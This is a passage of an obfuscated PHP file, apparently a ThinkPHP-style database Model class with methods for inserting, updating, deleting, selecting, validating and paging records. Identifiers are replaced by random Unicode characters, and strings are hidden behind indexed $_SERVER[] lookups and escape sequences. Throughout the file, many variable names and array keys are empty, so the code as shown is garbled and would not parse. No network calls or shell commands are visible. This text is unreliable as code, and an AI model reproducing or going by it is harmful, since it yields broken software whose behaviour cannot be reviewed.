$this->_extModel->setProperty($ꋴ, $this->{$ꋴ}); } } return $this->_extModel; } public function __set($ѩ, $) { $this->data[$ѩ] = $; } public function __get($Ɣʒ) { return isset($this->data[$Ɣʒ]) ? $this->data[$Ɣʒ] : null; } public function __isset($㙡) { return isset($this->data[$㙡]); } public function __unset($𼢢) { unset($this->data[$𼢢]); } public function __call($, $) { $ =& $_SERVER[]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[284], $[285], $[286], $[287], $[288]), !0)) { $Ϝ = isset($[0]) ? $[0] : $[189]; $Ϝ = $this->db->parseKey($Ϝ); return $this->getField(strtoupper($) . $[289] . $Ϝ . $[290] . $, $[284]); } elseif (strtolower(substr($, 0, 5)) == $[291]) { $Ϝ = think_parse_name(substr($, 5)); $ˍ[$Ϝ] = $[0]; return $this->where($ˍ)->find(); } elseif (strtolower(substr($, 0, 10)) == $[292]) { $ޭ = think_parse_name(substr($, 10)); $ˍ[$ޭ] = $[0]; return $this->where($ˍ)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $); return call_user_func_array(array($this, $[293]), $); } else { return call_user_func_array(array(parent, $), $); } } protected function call() { $͐ =& $_SERVER[]; $ = func_get_args(); $ = array_shift($); $ჼ = $; if (is_array($)) { $ჼ = $[1]; $ = $[0]; } $ = count($) - 1; if (isset($[$]) && $[$] === $) { think_exception(__CLASS__ . $͐[4] . $ . think_lang($͐[294])); return; } $[] = $; if (method_exists($this, $͐[295])) { $ = call_user_func_array(array($this, $͐[296]), array($ჼ, $)); if (!is_null($) && $ !== !1) { return $; } } $ţҒ = call_user_func_array(array($this, $), $); if (method_exists($this, $͐[297])) { $ = call_user_func_array(array($this, $͐[298]), array($ჼ, $, $ţҒ)); if ($) { return $; } } return $ţҒ; } protected function _initialize() { } protected function _facade($) { $ =& $_SERVER[]; if (!empty($this->fields)) { foreach ($ as $ => $Ԍ) { if (is_array($this->fields) && !in_array($, $this->fields, !0)) { unset($[$]); } elseif (is_scalar($Ԍ)) { $this->_parseType($, $); } } } if (!empty($this->options[$[299]])) { $ = array_map($this->options[$[299]], $); unset($this->options[$[299]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$݈) { } public function add($DŽ = '', $̎ѝ = array(), $ = false) { if (empty($DŽ)) { if (!empty($this->data)) { $DŽ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[][300]); return !1; } } $̎ѝ = $this->_parseOptions($̎ѝ); $DŽ = $this->_facade($DŽ); if (!1 === $this->_beforeInsert($DŽ, $̎ѝ)) { return !1; } $ = $this->db->insert($DŽ, $̎ѝ, $); if (!1 !== $) { $О = $this->getLastInsID(); if ($О) { $DŽ[$this->getPk()] = $О; $this->_after_insert($DŽ, $̎ѝ); return $О; } $this->_after_insert($DŽ, $̎ѝ); } return $; } protected function _beforeInsert(&$֓, $) { } protected function _after_insert($, $) { } public function addAll($, $ = array(), $ܚ = false) { $˷ =& $_SERVER[]; if (empty($)) { $this->error = think_lang($˷[300]); return !1; } $ = $this->_parseOptions($); foreach ($ as $鸉 => $º) { $[$鸉] = $this->_facade($º); } if (method_exists($this->db, $˷[301])) { $̔ = $this->db->insertAll($, $, $ܚ); } else { $this->startTrans(); foreach ($ as $鸉 => $º) { $̔ = $this->db->insert($º, $, $ܚ); } $this->commit(); } if (!1 !== $̔) { $ˈ = $this->getLastInsID(); if ($ˈ) { return $ˈ; } } return $̔; } public function selectAdd($ = '', $ȹ = '', $Ѿ = array()) { $ŋ =& $_SERVER[]; $Ѿ = $this->_parseOptions($Ѿ); if (!1 === ($􋩢 = $this->db->selectInsert($ ? $ : $Ѿ[$ŋ[302]], $ȹ ? $ȹ : $this->getTableName(), $Ѿ))) { $this->error = think_lang($ŋ[303]); return !1; } else { return $􋩢; } } public function save($ߓۿ = '', $ʳ = array()) { $ =& $_SERVER[]; if (empty($ߓۿ)) { if (!empty($this->data)) { $ߓۿ = $this->data; $this->data = array(); } else { $this->error = think_lang($[300]); return !1; } } $ߓۿ = $this->_facade($ߓۿ); $ʳ = $this->_parseOptions($ʳ); $љ = $this->getPk(); if (!isset($ʳ[$[304]])) { if (isset($ߓۿ[$љ])) { $̚[$љ] = $ߓۿ[$љ]; $ʳ[$[304]] = $̚; unset($ߓۿ[$љ]); } else { $this->error = think_lang($[303]); return !1; } } if (is_array($ʳ[$[304]]) && isset($ʳ[$[304]][$љ])) { $ﺝھ = $ʳ[$[304]][$љ]; } if (!1 === $this->_beforeUpdate($ߓۿ, $ʳ)) { return !1; } $ = $this->db->update($ߓۿ, $ʳ); if (!1 !== $) { if (isset($ﺝھ)) { $ߓۿ[$љ] = $ﺝھ; } $this->_afterUpdate($ߓۿ, $ʳ); } return $; } protected function _beforeUpdate(&$ե, $) { } protected function _afterUpdate($Ɗ, $𣵙·) { } public function delete($ݛ = array()) { $ߝÙ =& $_SERVER[]; if (empty($ݛ) && empty($this->options[$ߝÙ[304]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $پ쿊 = $this->getPk(); if (is_numeric($ݛ) || is_string($ݛ)) { if (strpos($ݛ, $ߝÙ[50])) { $嶷[$پ쿊] = array($ߝÙ[305], $ݛ); } else { $嶷[$پ쿊] = $ݛ; } $this->options[$ߝÙ[304]] = $嶷; } $ݛ = $this->_parseOptions(); if (is_array($ݛ[$ߝÙ[304]]) && isset($ݛ[$ߝÙ[304]][$پ쿊])) { $Ǽ = $ݛ[$ߝÙ[304]][$پ쿊]; } $ = $this->db->delete($ݛ); if (!1 !== $) { $ˊ = array(); if (isset($Ǽ)) { $ˊ[$پ쿊] = $Ǽ; } $this->_after_delete($ˊ, $ݛ); } return $; } protected function _after_delete($ăȇ, $) { } public function select($ = array()) { $ۭnj =& $_SERVER[]; if (is_string($) || is_numeric($)) { $ = $this->getPk(); if (strpos($, $ۭnj[50])) { $ƃ[$] = array($ۭnj[305], $); } else { $ƃ[$] = $; } $this->options[$ۭnj[304]] = $ƃ; } elseif (!1 === $) { $ = $this->_parseOptions(); return $ۭnj[306] . $this->db->buildSelectSql($) . $ۭnj[307]; } $ = $this->_parseOptions(); $㣭 = $this->db->select($); if (!1 === $㣭) { return !1; } if (empty($㣭)) { return null; } $this->_afterSelect($㣭, $); return $㣭; } protected function _afterSelect(&$ӗ, $ܾ) { } public function buildSql($ચ = array()) { $ =& $_SERVER[]; $ચ = $this->_parseOptions($ચ); return $[306] . $this->db->buildSelectSql($ચ) . $[307]; } public function optionsValue($ؑ = null) { if (is_null($ؑ)) { return $this->options; } elseif (is_array($ؑ)) { $this->options = array_merge($this->options, $ؑ); } } protected function _parseOptions($ʸ = array()) { $񎪽 =& $_SERVER[]; if (is_array($ʸ)) { $ʸ = array_merge($this->options, $ʸ); } $this->options = array(); if (!isset($ʸ[$񎪽[308]])) { $ʸ[$񎪽[308]] = $this->getTableName(); $ݽ = $this->fields; } else { $ݽ = $this->getDbFields(); } if (!empty($ʸ[$񎪽[309]])) { $ʸ[$񎪽[308]] .= $񎪽[53] . $ʸ[$񎪽[309]]; } $ʸ[$񎪽[310]] = $this->name; if (isset($ʸ[$񎪽[304]]) && is_array($ʸ[$񎪽[304]]) && !empty($ݽ) && !isset($ʸ[$񎪽[311]]) && !isset($ʸ[$񎪽[308]])) { foreach ($ʸ[$񎪽[304]] as $ => $ԧ) { $ = trim($); if (in_array($, $ݽ, !0)) { if (is_scalar($ԧ)) { $this->_parseType($ʸ[$񎪽[304]], $); } } elseif (!is_numeric($) && $񎪽[11] != substr($, 0, 1) && !1 === strpos($, $񎪽[10]) && !1 === strpos($, $񎪽[289]) && !1 === strpos($, $񎪽[312]) && !1 === strpos($, $񎪽[313])) { unset($ʸ[$񎪽[304]][$]); } } } $this->_options_filter($ʸ); return $ʸ; } protected function _options_filter(&$̲) { } protected function _parseType(&$Ư, $) { $ =& $_SERVER[]; if (empty($this->options[$[314]][$[4] . $])) { $Ď = strtolower($this->fields[$[281]][$]); if (!1 !== strpos($Ď, $[315])) { } elseif (!1 === strpos($Ď, $[316]) && !1 !== strpos($Ď, $[317])) { $Ư[$] = intval($Ư[$]); } elseif (!1 !== strpos($Ď, $[318]) || !1 !== strpos($Ď, $[319])) { $Ư[$] = floatval($Ư[$]); } elseif (!1 !== strpos($Ď, $[320])) { $Ư[$] = (bool) $Ư[$]; } } } public function find($ = array()) { $ =& $_SERVER[]; if (is_numeric($) || is_string($)) { $ң[$this->getPk()] = intval($); $this->options[$[304]] = $ң; } $this->options[$[321]] = 1; $ = $this->_parseOptions(); $ = $this->db->select($); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $); if (!empty($this->options[$[322]])) { return $this->returnResult($this->data, $this->options[$[322]]); } return $this->data; } protected function _afterFind(&$띬, $ꙇ) { } protected function returnResult($Зܵ, $ = '') { $ޣ =& $_SERVER[]; if ($) { if (is_callable($)) { return call_user_func($, $Зܵ); } switch (strtolower($)) { case $ޣ[323]: return json_encode($Зܵ); case $ޣ[324]: return xml_encode($Зܵ); } } return $Зܵ; } public function parseFieldsMap($, $۞ޞ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $٨ => $󇙜) { if ($۞ޞ == 1) { if (isset($[$󇙜])) { $[$٨] = $[$󇙜]; unset($[$󇙜]); } } else { if (isset($[$٨])) { $[$󇙜] = $[$٨]; unset($[$٨]); } } } } return $; } public function setField($˱, $Ç = '') { if (is_array($˱)) { $ = $˱; } else { $[$˱] = $Ç; } return $this->save($); } public function setAdd($, $ی޳ = 1) { $р =& $_SERVER[]; $Ҝ = $ . $р[325] . $ی޳; if ($ی޳ < 0) { $Ҝ = $ . $ی޳; } return $this->setField($, array($р[326], $Ҝ)); } public function getField($ƀ, $٪ = null) { $ =& $_SERVER[]; $׳[$[302]] = $ƀ; $׳ = $this->_parseOptions($׳); $ƀ = trim($ƀ); if (strpos($ƀ, $[50])) { if (!isset($׳[$[321]])) { $׳[$[321]] = is_numeric($٪) ? $٪ : $[12]; } $ر = $this->db->select($׳); if (!empty($ر)) { $ = explode($[50], $ƀ); $ƀ = array_keys($ر[0]); $؛ = array_shift($ƀ); $ӄ = array_shift($ƀ); $Н = array(); $霥 = count($); foreach ($ر as $̆) { $ڔڕ = $̆[$؛]; if (2 == $霥) { $Н[$ڔڕ] = $̆[$ӄ]; } else { $Н[$ڔڕ] = is_string($٪) ? implode($٪, $̆) : $̆; } } return $Н; } } else { if (!0 !== $٪) { $׳[$[321]] = is_numeric($٪) ? $٪ : 1; } if ($٪ === $[284]) { unset($׳[$[321]]); } $̆ = $this->db->select($׳); if (!empty($̆)) { if ($٪ === $[284]) { return reset($̆[0]); } if (!0 !== $٪ && 1 == $׳[$[321]]) { return reset($̆[0]); } foreach ($̆ as $ȃ) { $퇘[] = $ȃ[$ƀ]; } return $퇘; } } return null; } public function create($Զ = '', $ܲ² = '') { $ =& $_SERVER[]; if (empty($Զ)) { $Զ = $_POST; } elseif (is_object($Զ)) { $Զ = get_object_vars($Զ); } if (empty($Զ) || !is_array($Զ)) { $this->error = think_lang($[300]); return !1; } $Զ = $this->parseFieldsMap($Զ, 0); $ܲ² = $ܲ² ? $ܲ² : (!empty($Զ[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[302]])) { $ = $this->options[$[302]]; unset($this->options[$[302]]); } elseif ($ܲ² == THINK_MODEL_INSERT && isset($this->insertFields)) { $ = $this->insertFields; } elseif ($ܲ² == THINK_MODEL_UPDATE && isset($this->updateFields)) { $ = $this->updateFields; } if (isset($)) { if (is_string($)) { $ = explode($[50], $); } if (think_config($[327])) { $[] = think_config($[328]); } foreach ($Զ as $˦՗ => $⠙) { if (!in_array($˦՗, $)) { unset($Զ[$˦՗]); } } } if (!$this->autoValidation($Զ, $ܲ²)) { return !1; } if (!$this->autoCheckToken($Զ)) { $this->error = think_lang($[329]); return !1; } if ($this->autoCheckFields) { $ = $this->getDbFields(); foreach ($Զ as $˦՗ => $⠙) { if (!in_array($˦՗, $)) { unset($Զ[$˦՗]); } elseif (MAGIC_QUOTES_GPC && is_string($⠙)) { $Զ[$˦՗] = stripslashes($⠙); } } } $this->autoOperation($Զ, $ܲ²); $this->data = $Զ; return $Զ; } public function autoCheckToken($) { $ =& $_SERVER[]; if (isset($this->options[$[330]]) && !$this->options[$[330]]) { return !0; } if (think_config($[327])) { $ = think_config($[328]); if (!isset($[$]) || Session::get($)) { return !1; } list($ϫ, $ڼ) = explode($[11], $[$]); if ($ڼ && Session::get($ . $[10] . $ϫ) === $ڼ) { Session::remove($ . $[10] . $ϫ); return !0; } if (think_config($[331])) { Session::remove($ . $[10] . $ϫ); } return !1; } return !0; } public function regex($޺, $) { $ =& $_SERVER[]; $ҏ = array($[332] => $[333], $[334] => $[335], $[336] => $[337], $[338] => $[339], $[340] => $[341], $[342] => $[343], $[344] => $[345], $[319] => $[346], $[347] => $[348]); if (isset($ҏ[strtolower($)])) { $ = $ҏ[strtolower($)]; } return preg_match($, $޺) === 1; } private function autoOperation(&$, $δ΄) { $ =& $_SERVER[]; if (!empty($this->options[$[349]])) { $ = $this->options[$[349]]; unset($this->options[$[349]]); } elseif (!empty($this->_auto)) { $ = $this->_auto; } if (isset($)) { foreach ($ as $҄) { if (empty($҄[2])) { $҄[2] = THINK_MODEL_INSERT; } if ($δ΄ == $҄[2] || $҄[2] == THINK_MODEL_BOTH) { switch (trim($҄[3])) { case $[350]: case $[351]: $ = isset($҄[4]) ? (array) $҄[4] : array(); if (isset($[$҄[0]])) { array_unshift($, $[$҄[0]]); } if ($[350] == $҄[3]) { $[$҄[0]] = call_user_func_array($҄[1], $); } else { $[$҄[0]] = call_user_func_array(array(&$this, $҄[1]), $); } break; case $[302]: $[$҄[0]] = $[$҄[1]]; break; case $[352]: if ($[12] === $[$҄[0]]) { unset($[$҄[0]]); } break; case $[353]: default: $[$҄[0]] = $҄[1]; } if (!1 === $[$҄[0]]) { unset($[$҄[0]]); } } } } return $; } protected function autoValidation($, $) { $ =& $_SERVER[]; if (!empty($this->options[$[354]])) { $ڙ = $this->options[$[354]]; unset($this->options[$[354]]); } elseif (!empty($this->_validate)) { $ڙ = $this->_validate; } if (isset($ڙ)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ڙ as $Ƣ => $˃) { if (empty($˃[5]) || $˃[5] == THINK_MODEL_BOTH || $˃[5] == $) { if (0 == strpos($˃[2], $[355]) && strpos($˃[2], $[356])) { $˃[2] = think_lang(substr($˃[2], 2, -1)); } $˃[3] = isset($˃[3]) ? $˃[3] : THINK_EXISTS_VALIDATE; $˃[4] = isset($˃[4]) ? $˃[4] : $[357]; switch ($˃[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $˃)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($[12] != trim($[$˃[0]])) { if (!1 === $this->_validationField($, $˃)) { return !1; } } break; default: if (isset($[$˃[0]])) { if (!1 === $this->_validationField($, $˃)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($, $) { if (!1 === $this->_validationFieldItem($, $)) { if ($this->patchValidate) { $this->error[$[0]] = $[2]; } else { $this->error = $[2]; return !1; } } return; } protected function _validationFieldItem($ᯝ, $ֱ) { $ =& $_SERVER[]; switch (strtolower(trim($ֱ[4]))) { case $[350]: case $[351]: $ = isset($ֱ[6]) ? (array) $ֱ[6] : array(); if (is_string($ֱ[0]) && strpos($ֱ[0], $[50])) { $ֱ[0] = explode($[50], $ֱ[0]); } if (is_array($ֱ[0])) { foreach ($ֱ[0] as $݋ڝ) { $ޱ[$݋ڝ] = $ᯝ[$݋ڝ]; } array_unshift($, $ޱ); } else { array_unshift($, $ᯝ[$ֱ[0]]); } if ($[350] == $ֱ[4]) { return call_user_func_array($ֱ[1], $); } else { return call_user_func_array(array(&$this, $ֱ[1]), $); } case $[358]: return $ᯝ[$ֱ[0]] == $ᯝ[$ֱ[1]]; case $[359]: if (is_string($ֱ[0]) && strpos($ֱ[0], $[50])) { $ֱ[0] = explode($[50], $ֱ[0]); } $ = array(); if (is_array($ֱ[0])) { foreach ($ֱ[0] as $݋ڝ) { $[$݋ڝ] = $ᯝ[$݋ڝ]; } } else { $[$ֱ[0]] = $ᯝ[$ֱ[0]]; } if (!empty($ᯝ[$this->getPk()])) { $[$this->getPk()] = array($[360], $ᯝ[$this->getPk()]); } if ($this->where($)->find()) { return !1; } return !0; default: return $this->check($ᯝ[$ֱ[0]], $ֱ[1], $ֱ[4]); } } public function check($Ƥ, $ń, $ = "\162\145\x67\145\170") { $۔ =& $_SERVER[]; $ = strtolower(trim($)); switch ($) { case $۔[7]: case $۔[361]: $ѡ = is_array($ń) ? $ń : explode($۔[50], $ń); return $ == $۔[7] ? in_array($Ƥ, $ѡ) : !in_array($Ƥ, $ѡ); case $۔[362]: case $۔[363]: if (is_array($ń)) { $􆑶 = $ń[0]; $ۅŸ = $ń[1]; } else { list($􆑶, $ۅŸ) = explode($۔[50], $ń); } return $ == $۔[362] ? $Ƥ >= $􆑶 && $Ƥ <= $ۅŸ : $Ƥ < $􆑶 || $Ƥ > $ۅŸ; case $۔[364]: case $۔[365]: return $ == $۔[364] ? $Ƥ == $ń : $Ƥ != $ń; case $۔[366]: $ = mb_strlen($Ƥ, $۔[367]); if (strpos($ń, $۔[50])) { list($􆑶, $ۅŸ) = explode($۔[50], $ń); return $ >= $􆑶 && $ <= $ۅŸ; } else { return $ == $ń; } case $۔[368]: list($¨, $蛲) = explode($۔[50], $ń); if (!is_numeric($¨)) { $¨ = strtotime($¨); } if (!is_numeric($蛲)) { $蛲 = strtotime($蛲); } return NOW_TIME >= $¨ && NOW_TIME <= $蛲; case $۔[369]: return in_array(get_client_ip(), explode($۔[50], $ń)); case $۔[370]: return !in_array(get_client_ip(), explode($۔[50], $ń)); case $۔[357]: default: return $this->regex($Ƥ, $ń); } } public function query($ڗ, $ŧ = false) { $ =& $_SERVER[]; if (!is_bool($ŧ) && !is_array($ŧ)) { $ŧ = func_get_args(); array_shift($ŧ); } $ڗ = str_replace(array($[231], $[371]), $[53], $ڗ); $ڗ = $this->parseSql($ڗ, $ŧ); return $this->db->query($ڗ); } public function execute($, $ = false) { if (!is_bool($) && !is_array($)) { $ = func_get_args(); array_shift($); } $ = $this->parseSql($, $); return $this->db->execute($); } protected function parseSql($, $٥) { $β =& $_SERVER[]; if (!0 === $٥) { $Ֆ = $this->_parseOptions(); $ = $this->db->parseSql($, $Ֆ); } elseif (is_array($٥)) { $٥ = array_map(array($this->db, $β[372]), $٥); $ = vsprintf($, $٥); } else { $ = strtr($, array($β[373] => $this->getTableName(), $β[374] => think_config($β[273]))); } $this->db->setModel($this->name); return $; } public function db($֦ = '', $ͱߊ = '', $҈ = array()) { $״ =& $_SERVER[]; if ($״[12] === $֦ && $this->db) { return $this->db; } static $֤ = array(); static $ = array(); if (!isset($[$֦]) || isset($[$֦]) && $ͱߊ && $֤[$֦] != $ͱߊ) { if (!empty($ͱߊ) && is_string($ͱߊ) && !1 === strpos($ͱߊ, $״[8])) { $ͱߊ = think_config($ͱߊ); } $֦ = think_guid($ͱߊ); $[$֦] = Db::getInstance($ͱߊ); } elseif (NULL === $ͱߊ) { $[$֦]->close(); unset($[$֦]); return; } if (!empty($҈)) { if (is_string($҈)) { parse_str($҈, $҈); } foreach ($҈ as $؇ => $Ҩ) { $this->setProperty($؇, $Ҩ); } } $֤[$֦] = $ͱߊ; $this->db = $[$֦]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[][375]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ֶ =& $_SERVER[]; if (empty($this->trueTableName)) { $ٛ = !empty($this->tablePrefix) ? $this->tablePrefix : $ֶ[12]; if (!empty($this->tableName)) { $ٛ .= $this->tableName; } else { $ٛ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ٛ); } return (!empty($this->dbName) ? $this->dbName . $ֶ[10] : $ֶ[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $֖ =& $_SERVER[]; return isset($this->fields[$֖[280]]) ? $this->fields[$֖[280]] : $this->pk; } public function getDbFields() { $ =& $_SERVER[]; if (isset($this->options[$[308]])) { $Țښ = $this->db->getFields($this->options[$[308]]); return $Țښ ? array_keys($Țښ) : !1; } if ($this->fields) { $Țښ = $this->fields; unset($Țښ[$[279]], $Țښ[$[280]], $Țښ[$[281]], $Țښ[$[278]]); return $Țښ; } return !1; } public function data($ = '') { $ş =& $_SERVER[]; if ($ş[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($ş[300])); } $this->data = $; return $this; } public function join($ޓ) { $݆Ο =& $_SERVER[]; if (is_array($ޓ)) { $this->options[$݆Ο[311]] = $ޓ; } elseif (!empty($ޓ)) { $this->options[$݆Ο[311]][] = $ޓ; } return $this; } public function union($ס, $ = false) { $հ =& $_SERVER[]; if (empty($ס)) { return $this; } if ($) { $this->options[$հ[376]][$հ[377]] = !0; } if (is_object($ס)) { $ס = get_object_vars($ס); } if (is_string($ס)) { $ = $ס; } elseif (is_array($ס)) { if (isset($ס[0])) { $this->options[$հ[376]] = array_merge($this->options[$հ[376]], $ס); return $this; } else { $ = $ס; } } else { think_exception(think_lang($հ[300])); } $this->options[$հ[376]][] = $; return $this; } public function cache($ݺ = true, $ = null, $ǿà = '') { $贳 =& $_SERVER[]; if (!1 !== $ݺ) { $this->options[$贳[378]] = array($贳[94] => $ݺ, $贳[368] => $, $贳[33] => $ǿà); } return $this; } public function field($ޜ, $ϼ = false) { $ٷ =& $_SERVER[]; if (!0 === $ޜ) { $Һ = $this->getDbFields(); $ޜ = $Һ ? $Һ : $ٷ[189]; } elseif ($ϼ) { if (is_string($ޜ)) { $ޜ = explode($ٷ[50], $ޜ); } $Һ = $this->getDbFields(); $ޜ = $Һ ? array_diff($Һ, $ޜ) : $ޜ; } $this->options[$ٷ[302]] = $ޜ; return $this; } public function scope($ = '', $ֲ = NULL) { $ =& $_SERVER[]; if ($[12] === $) { if (isset($this->_scope[$[37]])) { $弃 = $this->_scope[$[37]]; } else { return $this; } } elseif (is_string($)) { $ު = explode($[50], $); $弃 = array(); foreach ($ު as $͘) { if (!isset($this->_scope[$͘])) { continue; } $弃 = array_merge($弃, $this->_scope[$͘]); } if (!empty($ֲ) && is_array($ֲ)) { $弃 = array_merge($弃, $ֲ); } } elseif (is_array($)) { $弃 = $; } if (is_array($弃) && !empty($弃)) { $this->options = array_merge($this->options, array_change_key_case($弃)); } return $this; } public function where($ܒ, $ = null) { $ӿĆ =& $_SERVER[]; if (!is_null($) && is_string($ܒ)) { if (!is_array($)) { $ = func_get_args(); array_shift($); } $ = array_map(array($this->db, $ӿĆ[372]), $); $ܒ = vsprintf($ܒ, $); } elseif (is_object($ܒ)) { $ܒ = get_object_vars($ܒ); } elseif (is_array($ܒ)) { foreach ($ܒ as $ => $Ͷ) { if ((is_numeric($) || !$) && is_string($Ͷ)) { if (strpos($Ͷ, $ӿĆ[379]) === 0) { continue; } think_trace($ӿĆ[380], $ӿĆ[12], $ӿĆ[49]); die; } } } if (is_string($ܒ) && $ӿĆ[12] != $ܒ) { $ = array(); $[$ӿĆ[381]] = $ܒ; $ܒ = $; } if (isset($this->options[$ӿĆ[304]])) { $this->options[$ӿĆ[304]] = array_merge($this->options[$ӿĆ[304]], $ܒ); } else { $this->options[$ӿĆ[304]] = $ܒ; } return $this; } public function limit($ۄ, $Μ = null) { $ݜ =& $_SERVER[]; $this->options[$ݜ[321]] = is_null($Μ) ? $ۄ : $ۄ . $ݜ[50] . $Μ; return $this; } public function page($߽կ, $ = null) { $ɩ =& $_SERVER[]; $this->options[$ɩ[382]] = is_null($) ? $߽կ : $߽կ . $ɩ[50] . $; return $this; } public function comment($Љ) { $this->options[$_SERVER[][383]] = $Љ; return $this; } public function setProperty($֭, $٠) { if (property_exists($this, $֭)) { $this->{$֭} = $٠; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\157\144\151\146\171\124\x69\x6d\145", "\164\151\x6d\145", "\x69\x6e\163\145\x72\164\x2c\165\x70\x64\x61\x74\145", "\146\165\156\x63\164\151\157\156"), array("\x63\x72\145\x61\x74\145\x54\x69\x6d\x65", "\x74\151\x6d\x65", "\x69\156\163\x65\x72\x74", "\146\x75\x6e\143\x74\151\x6f\156")); public function setDataAuto($׼) { $this->dataAuto = $׼; } public function __construct($ = '', $ = '', $ߞ = '') { parent::__construct($, $, $ߞ); } protected $tableMeta = array(); protected function _beforeInsert(&$㧑, $ߝ) { $Űַ =& $_SERVER[]; if (!$this->checkDataAutoHas($Űַ[384])) { return; } $this->dataBeforeFilter($㧑, $Űַ[384]); } protected function _beforeUpdate(&$૔, $վ) { $ =& $_SERVER[]; if (!$this->checkDataAutoHas($[385])) { return; } $this->dataBeforeFilter($૔, $[385]); } protected function _afterSelect(&$޽, $) { if (!is_array($޽)) { return; } if (!$this->checkDataAutoHas($_SERVER[][386])) { return; } foreach ($޽ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$Ы, $َ) { if (!is_array($Ы)) { return; } if (!$this->checkDataAutoHas($_SERVER[][386])) { return; } $this->dataAfterFilter($Ы); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[][387], function ($ˏ) { return addslashes($ˏ[0]); }, $); return json_decode($); } public static function textDecode($Ǜ̊) { $γ =& $_SERVER[]; $ʺ = json_encode($Ǜ̊); $ʺ = preg_replace_callback($γ[388], function ($) { return $_SERVER[][97]; }, $ʺ); return json_decode($ʺ); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ߟ = $this->getTableName(); $Ϩ = $this->max($this->getPk()); $Ţя = $this->query("\x73\x68\x6f\167\40\164\x61\x62\154\x65\x20\x73\x74\141\x74\165\163\40\167\150\x65\x72\145\x20\x4e\x61\x6d\x65\75\47{$ߟ}\47"); $ = $Ţя[0][$_SERVER[][389]]; $Ձ = max($Ϩ, $); return $Ձ; } protected function _callBefore($⽝, $) { return $this->cacheCallCheck($⽝, $, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $͜؛, $Ŗʚ = false) { $ծ = $this->cacheFunctionAlias($͜؛); if (!$ծ) { return; } foreach ($ծ as $Ϡ => $) { $ = $[0]; $ = explode($_SERVER[][50], $[1]); if ($ == $Ϡ) { return $this->cacheFunctionGet($Ϡ, $); } if ($Ŗʚ && in_array($, $)) { $this->cacheFunctionClear($Ϡ, $); } } } public function cacheFunctionGet($ο, $奌) { $ = $this->cacheKeyMake($ο, $奌); $ = Cache::get($); if (!is_array($)) { $ = call_user_func_array(array($this, $ο), array($奌, !0)); Cache::set($, $); } return $; } public function cacheFunctionClear($׀ԓ, $ִ) { $ = $ִ; if (!is_array($ִ)) { $ = array($ִ); } foreach ($ as $Ɔ) { $𥹢 = $this->cacheKeyMake($׀ԓ, $Ɔ); Cache::remove($𥹢); } } private function cacheKeyMake($ҧ, $) { $ =& $_SERVER[]; return get_class($this) . $[11] . $ҧ . $[390] . $; } protected function selectPageReset() { $쎪 =& $_SERVER[]; if (isset($GLOBALS[$쎪[391]])) { return; } $GLOBALS[$쎪[391]] = isset($GLOBALS[$쎪[7]][$쎪[392]]) ? $GLOBALS[$쎪[7]][$쎪[392]] : !1; $GLOBALS[$쎪[393]] = isset($GLOBALS[$쎪[7]][$쎪[382]]) ? $GLOBALS[$쎪[7]][$쎪[382]] : !1; $GLOBALS[$쎪[7]][$쎪[392]] = !1; $GLOBALS[$쎪[7]][$쎪[382]] = !1; } protected function selectPageRestore() { $䲟 =& $_SERVER[]; if (!isset($GLOBALS[$䲟[391]])) { return; } $GLOBALS[$䲟[7]][$䲟[392]] = $GLOBALS[$䲟[391]]; $GLOBALS[$䲟[7]][$䲟[382]] = $GLOBALS[$䲟[393]]; if ($GLOBALS[$䲟[7]][$䲟[392]] === !1) { unset($GLOBALS[$䲟[7]][$䲟[392]]); } if ($GLOBALS[$䲟[7]][$䲟[382]] === !1) { unset($GLOBALS[$䲟[7]][$䲟[382]]); } unset($GLOBALS[$䲟[391]]); unset($GLOBALS[$䲟[393]]); } protected function selectPage($큗 = 200, $ = 1) { $ =& $_SERVER[]; global $in; $ː޸ = $this->optionsValue(); $ = 50000; $큗 = isset($in[$[392]]) && $in[$[392]] ? $in[$[392]] : $큗; if ($큗 === -1) { $in[$[392]] = !1; $ = 100000000; $큗 = $; } $̬ = $ː޸; $̬[$[394]] = array(); $큗 = intval($큗); $큗 = $큗 <= 5 ? 5 : ($큗 >= $ ? $ : $큗); $ = intval(isset($in[$[382]]) && $in[$[382]] ? $in[$[382]] : $); $ = $ <= 1 ? 1 : $; $뺰Թ = array(); $ = 1; if ($ == 1 && $) 